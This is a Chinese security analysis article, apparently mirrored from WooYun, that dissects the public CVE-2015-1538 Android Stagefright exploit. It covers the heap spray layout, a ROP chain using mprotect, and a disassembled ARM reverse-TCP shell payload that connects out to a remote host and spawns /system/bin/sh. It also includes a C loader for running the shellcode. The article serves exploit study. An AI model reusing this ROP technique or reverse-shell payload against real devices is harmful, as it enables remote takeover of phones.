4

CVE-2015-1538漏洞利用中的Shellcode分析 | WooYun知识库

 6 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

CVE-2015-1538漏洞利用中的Shellcode分析

Author:[email protected]

0x00 序


2015年7月以色列移动信息安全公司Zimperium在Android Stagefright框架中发现了多个整数溢出和下溢,不正确整数溢出检查等漏洞,可导致任意代码执行等问题。攻击者通过发送包含特制媒体文件的MMS或WEB页来触发该漏洞。由于stagefright不只是用来播放媒体文件的,还能自动产生缩略图,或者从视频或音频文件中抽取元数据,如长度、高度、宽度、帧频、频道和其他类似信息。因此接收到恶意彩信的用户只要查看缩略图就可触发该漏洞。

“Stagefright”媒体播放引擎库在Android 2.2中引入,至5.1的所有版本上均存在此漏洞。使用Stagefright库的应用程序以Media权限运行,成功利用漏洞,允许攻击者以媒体库上下文查看相应的文件,但通过权限提升攻击,可完全控制设备。该Stagefright漏洞所对应的CVE ID如下:

CVE-2015-1538
CVE-2015-1539
CVE-2015-3824
CVE-2015-3826
CVE-2015-3827
CVE-2015-3828
CVE-2015-3829

zimperium研究人员Joshua Drake在8月的BlackHat会议上讲解并演示了该漏洞。9月份在官方博客(blog.zimperium.com)公开了其中一个漏洞:CVE-2015-1538的利用代码[1]

虽然CVE-2015-1538的利用是在Android 4.0.x上实现的,相对于高版本Android,少了很多缓解技术需要bypass,但是其exploit中所用的媒体文件堆喷、pivot stack、反向连接shell等一些技巧可为以后借鉴,所以将其记录下,也是留个备忘。

0x01 Shellcode代码分析


1.1 ROP

分析Exploit[2]可知,该漏洞利用“tx3g”tag进行内存堆喷射(2M)来达到执行shellcode。其单个spray buffer的构造如下:

Offset value
0x0 sp_addr + 16{}
0x4 sp_addr + 8
0x8 1
0xC 0xcodedbad
0x10 sp_addr + 24
0x14 16
0x18 sp_addr + 32
0x1C 0xf00dbabe
0x20 0xcode0000 + 0x0
0x24 0xcode0000 + 0x4
0x28 0xcode0000 + 0x8
0x2C new_pc{}
0x30 0xf0f00000+x1
0x4C, ROP+0x0 sp_addr + 0x40
ROP+0x4 0xb0002a98{}
ROP+0x8 0xb00038b2 + 1{}
ROP+0xC sp_addr & 0xFFFFF000
ROP+0x10 0x1000
ROP+0x14 7
ROP+0x18 0xd000d003
ROP+0x1C 0xd000d004
ROP+0x20 0xb001144{}
ROP+0x24 sp_addr + 0x80
ROP+0x28 0xf0f00000 + x1
… …
ROP+0x4C payload/shell_reverse_tcp
0x1000 0xf0f00000 + xn

从exploit看,mediaserver crash时代码走到了android::RefBase::decStrong(android::RefBase *__hidden this, const void *),汇编代码如下:

.text:0000EE34 70 B5         PUSH  {R4-R6,LR}
.text:0000EE36 05 46         MOV   R5, R0
.text:0000EE38 44 68         LDR   R4, [R0,#4]
.text:0000EE3A 0E 46         MOV   R6, R1
.text:0000EE3C 20 46         MOV   R0, R4
.text:0000EE3E FD F7 54 EB   BLX   android_atomic_dec
.text:0000EE42 01 28         CMP   R0, #1
.text:0000EE44 0B D1         BNE   loc_EE5E
.text:0000EE46 A0 68         LDR   R0, [R4,#8]
.text:0000EE48 01 68         LDR   R1, [R0]
.text:0000EE4A CA 68         LDR   R2, [R1,#0xC]
.text:0000EE4C 31 46         MOV   R1, R6
.text:0000EE4E 90 47         BLX   R2

按这段代码的执行流程如下:

1)r0 = spray_address = sa

LDR             R4, [R0,#4]

执行后,r4 = [sa+4] = sa+8

.text:0000EE46  LDR             R0, [R4,#8]

执行后,r0 = [r4+8]=[sa+8+8]=[sa+0x10]=sa+24=sa+0x18

.text:0000EE48LDR     R1, [R0]

执行后,r1=[r0+0]=[sa+0x18]=sz+32=sa+0x20

.text:0000EE4A  LDR             R2, [R1,#0xC]

执行后,r2=[r1+0xC]=[sa+0x20+0xC]=[sa+0x2C]=new_pc。执行blx r2跳到new_pc处。

2)new_pc

exploit中默认定义的new_pc为0xb0002850(__dl_restore_core_regs),位于libc.so中。看Android 4.1.2的libc.so中的restore_core_regs函数:

.text:00010BA8      EXPORT restore_core_regs
.text:00010BA8      ADD             R1, R0, #0x34 ; Alternative name is '__restore_core_regs'
.text:00010BAC      LDMIA           R1, {R3-R5}
.text:00010BB0      STMFD           SP!, {R3-R5}
.text:00010BB4      LDMIA           R0, {R0-R11}
.text:00010BB8      LDMFD           SP, {SP-PC}

这段代码主要是用于pivot stack:

ADD             R1, R0, #0x34

此时r0=sa+0x18,r1=sa+0x18+0x34=sa+0x4C

.text:00010BAC      LDMIA           R1, {R3-R5}

将r1指向地址sa+0x4C的内容依次写到r3,r4,r5中,即r3=sa+0x40=ROP+0x0r4=0xb0002a98r5=0xb00038b2+1

.text:00010BB0      STMFD           SP!, {R3-R5}

将r3,r4,r5入栈。

.text:00010BB8      LDMFD           SP, {SP-PC}

出栈操作;执行完后sp=ROP+0xClr=0xb0002a98pc=0xb00038b2+1

3)执行pc

此时pc为0xb00038b2+1,基所指向的指令为:

pop {r0, r1, r2, r3, r4, pc}

将sp指向的栈弹出并存入到r0-r4及pc寄存器中,该条指令执行完后,r0=sp_addr & 0xFFFFF000,r1=0x1000,r2=7,pc=0xb001144。

该条指令可以libstagefright.so中找到。如在4.1.2下:thumb,libstagefright.so + 0x0009086C。

4)再执行pc

此时pc为0xb001144,该地址是mprotect函数的地址,位于libc.so中,代码如下:

.text:0000CACC                 EXPORT mprotect
.text:0000CACC                 STMFD           SP!, {R4,R7}
.text:0000CAD0                 MOV             R7, #0x7D
.text:0000CAD4                 SVC             0        ;超级用户调用
.text:0000CAD8                 LDMFD           SP!, {R4,R7}
.text:0000CADC                 MOVS            R0, R0
.text:0000CAE0                 BXPL            LR      
.text:0000CAE4                 B               sub_39D44

将sp_addr地址,长度为0x1000的内存改为可执行权限。

.text:0000CAE0                 BXPL            LR

如果执行成功则调用lr,即0xb0002a98。

5)执行lr

此时lr为0xb0002a98,其指向的指令如下:

pop {pc}

当前sp=ROP+0x24,执行完成后`pc=sa+0x80,即shell_reverse_tcp代码的地址。

该条指令可以libstagefright.so中找到。如在4.1.2下:thumb,libstagefright.so + 0x0005ad14。

1.2 shell_reverse_tcp

exploit代码看shell_reverse_tcp是反向连接到目标ip:port的一段payload,这段代码是从metasploit的shell_reverse_tcp[3]修改而来的。为了搞清楚这段代码的功能,我们写了一段loader来加载这段代码,然后反汇编进行分析,如下:

unsignedchar payload[] = 
"\x02\x70\xa0\xe3"
……
"65\x6d\x2f\x62\x69\x6e\x3a\x2f\x73\x79\x73\x74\x65\x6d\x2f\x78\x62\x69\x6e\x00";
int loader()
{
printf("hello payload: 0x%x\n", payload);
asm__volatile__ (
"ldr r0, =payload \t\n"
"blx r0 \t\n");
return0;
}
int main(intargc, char* constargv[])
{
loader();
return0;
}

payload[]数组中的数据是从exploit的shell_reverse_tcp中提取的。这种加载方式在Android 4.1.x可以运行,高版本Android增加了安全缓解技术,会报错,但不影响分析代码。用IDA Pro加载编译程序,可以看到shell_reverse_tcp的反汇编代码如下:

.data:00002000 02 70 A0 E3                             MOV             R7, #2
.data:00002004 00 0000 EF                             SVC             0       ; __fork
.data:00002008 00 00 50 E3                             CMP             R0, #0
.data:0000200C 02 00 00 0A                             BEQ             loc_201C
.data:00002010 00 00 A0 E3                             MOV             R0, #0
.data:00002014 01 70 A0 E3                             MOV             R7, #1
.data:00002018 00 0000 EF                             SVC             0       ; _exit_thread
.data:0000201Cloc_201C                                ; CODE XREF: .data:0000200Cj
.data:0000201C 42 70 A0 E3                             MOV             R7, #0x42
.data:00002020 00 0000 EF                             SVC             0       ; setsid
.data:00002024 02 00 A0 E3                             MOV             R0, #2
.data:00002028 01 10 A0 E3                             MOV             R1, #1
.data:0000202C 05 20 81 E2                             ADD             R2, R1, #5
.data:00002030 8C 70 A0 E3 8D 70 87 E2                 MOV             R7, #0x119
.data:00002038 00 0000 EF                             SVC             0       ; socket
.data:0000203C 00 60 A0 E1                             MOV             R6, R0
.data:00002040 6C 10 8F E2                             ADR             R1, loc_20B4 ; structsockaddr_in
.data:00002044 10 20 A0 E3                             MOV             R2, #0x10
.data:00002048 8D 70 A0 E3 8E 70 87 E2                 MOV             R7, #0x11B
.data:00002050 00 0000 EF                             SVC             0       ; connect
.data:00002054 06 00 A0 E1                             MOV             R0, R6
.data:00002058 00 10 A0 E3                             MOV             R1, #0
.data:0000205C 3F 70 A0 E3                             MOV             R7, #0x3F
.data:00002060 00 0000 EF                             SVC             0       ; dup2
.data:00002064 06 00 A0 E1                             MOV             R0, R6
.data:00002068 01 10 A0 E3                             MOV             R1, #1
.data:0000206C 3F 70 A0 E3                             MOV             R7, #0x3F
.data:00002070 00 0000 EF                             SVC             0       ; dup2
.data:00002074 06 00 A0 E1                             MOV             R0, R6
.data:00002078 02 10 A0 E3                             MOV             R1, #2
.data:0000207C 3F 70 A0 E3                             MOV             R7, #0x3F
.data:00002080 00 0000 EF                             SVC             0       ; dup2
.data:00002084 30 00 8F E2                             ADR             R0, aSystemBinSh ; "/system/bin/sh"
.data:00002088 04 40 24 E0                             EOR             R4, R4, R4
.data:0000208C 10 00 2D E9                             STMFD           SP!, {R4}
.data:00002090 38 30 8F E2    ADR   R3, aPathSbinVendor ; "PATH=/sbin:/vendor/bin:/system/sbin:/sy"...
.data:00002094 08 00 2D E9                             STMFD           SP!, {R3}
.data:00002098 0D 20 A0 E1                             MOV             R2, SP
.data:0000209C 10 00 2D E9                             STMFD           SP!, {R4}
.data:000020A0 24 40 8F E2                             ADR             R4, aSh ; "sh"
.data:000020A4 10 00 2D E9                             STMFD           SP!, {R4}
.data:000020A8 0D 10 A0 E1                             MOV             R1, SP
.data:000020AC 0B 70 A0 E3                             MOV             R7, #0xB
.data:000020B0 00 0000 EF                             SVC             0       ; execve
.data:000020B4  loc_20B4                       ; DATA XREF: .data:00002040o
.data:000020B4 02 00 30 39   ;structsockaddr_in: <family+port+host>, port: 0x3039(12345)
.data:000020B8xx xxxxxx; ip address
.data:000020BC 2F 73 79 73 74 65 6D 2F+aSystemBinSh    DCB "/system/bin/sh",0  ; DATA XREF: .data:00002084o
.data:000020BC 62 69 6E 2F 73 68 00                                            ; .data:loc_20B4o
.data:000020CB 00                                      DCB    0
.data:000020CC 73 68 00      aSh             DCB "sh",0              ; DATA XREF: .data:000020A0o
.data:000020CF 00                                      DCB    0
.data:000020D0 50 41 54 48 3D 2F 73 62+aPathSbinVendor DCB "PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin",0
.data:000020D0 69 6E 3A 2F 76 65 6E 64+       ; DATA XREF: .data:00002090o
.data:0000210D 00                                      DCB    0

payload通过svc指令调用相应的linux函数,相应的函数已备注在汇编代码中,这段代码功能是通过tcp连接远程服务器的特定端口,伪代码如下:

r = fork();
if r<>0
exit_thread();
setsid();
s = socket(2,1,6);
connect(s, socaddr, 0x10);
dup2(s,0);[email protected]
dup2(s,1);[email protected]
dup2(s,2);[email protected]
execve("/system/bin/sh", "sh", "PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin");

loader编译后直接运行会失败,这是因为payload存储在“.data”节中,其属性是“Read”的,需要为该节增加“Execute”属性才会运行成功。这里使用010 Editor的ELFTemplate为“.data”节增加“Execute”属性:

p1

然后push到设备中,即可运行成功:

p2

0x02 参考


  1. https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/
  2. https://github.com/jduck/cve-2015-1538-1
  3. https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK